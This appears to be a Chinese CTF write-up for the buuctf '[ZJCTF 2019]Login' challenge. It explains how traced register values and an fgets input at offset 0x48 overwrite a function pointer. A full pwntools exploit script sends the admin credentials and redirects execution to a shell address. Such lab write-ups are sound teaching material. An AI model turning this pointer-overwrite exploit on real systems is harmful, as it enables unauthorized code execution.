当前位置: 首页 > article >正文

[栈溢出+参数跟踪] [ZJCTF 2019]Login

题目来源


buuctf——[ZJCTF 2019]Login

本题主要考察参数溯源的能力。
参考链接

https://zhuanlan.zhihu.com/p/570607303

题目信息

64位,ubuntu16,开了金丝雀

C++风格的代码,并且将admin登录信息写入代码中。 

溢出点不在这里,但是(**a1)();说明程序将执行参数中的内容。想要利用这里需要通过admin验证。 

对应的汇编语言,执行了[[rax]],且说明至少有两个lea指令。 给出了shell的利用点。

解题步骤


回溯rax的赋值步骤,找到可以覆盖现rax值的地址,输入正确admin信息并将shell地址写入该地址即可。

关键步骤

回溯rax
回到父函数中 进入password_checker中
password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。
fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18]
相差0x48个字节,所以得到了输入密码时的偏移位置
wp
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
 
pc = "./login"
 
if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28905)
        elf = ELF(pc)
        libc = elf.libc
 
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
 
 
shell = 0x400E88
payload = (b'2jctf_pa5sw0rd').ljust(0x48,b'\x00') + p64(shell)
sla("Please enter username:",b"admin")
sla("Please enter password:",payload)
 
ti()


http://www.kler.cn/news/149576.html

相关文章:

  • 【LeetCode】挑战100天 Day13(热题+面试经典150题)
  • Excel导入组件的封装以及使用页面点击弹出该弹框
  • Nature子刊最新研究:Hi-C宏基因组揭示土壤-噬菌体-宿主相互作用
  • Django请求生命周期流程
  • Android WiFi的断开分析
  • ChatGPT到底是如何运作?
  • 水淹七军(递归,又是递归)
  • 【Unity记录】EDM4U(External Dependency Manager)使用说明
  • temu反洗钱协议在哪里签署
  • HashMap源码解析
  • 批量采集淘宝商品数据,有哪些方式可以实现?
  • 【Spark源码分析】事件总线机制分析
  • Python超级详细的变量命名规则
  • uniApp应用软件在运行时,未见向用户告知权限申请的目的,向用户索取(存储、相机、电话)等权限,不符合华为应用市场审核标准。
  • PostgreSQL数据库中的后台进程
  • 什么是美颜sdk?集成第三方美颜sdk的步骤
  • Vue3中el-table表格数据不显示
  • 在 Nginx 配置中,root 和 alias 指令的区别是什么
  • 深度学习框架配置
  • DHCP协议与域名系统
  • 力扣labuladong——一刷day50
  • Opencv 极坐标变换
  • YoloV8改进策略:基于RevCol,可逆的柱状神经网络的完美迁移,YoloV8的上分利器
  • 银河麒麟V10-ARM架构-postgresql安装与部署指南
  • 133. 面试官:JSBridge是什么?
  • Java面试题(每天10题)-------连载(39)
  • 【理解ARM架构】异常处理
  • 人工智能-优化算法之梯度下降
  • RLHF:强化学习结合大预言模型的训练方式
  • 在Mysql中,什么是回表,什么是覆盖索引,索引下推?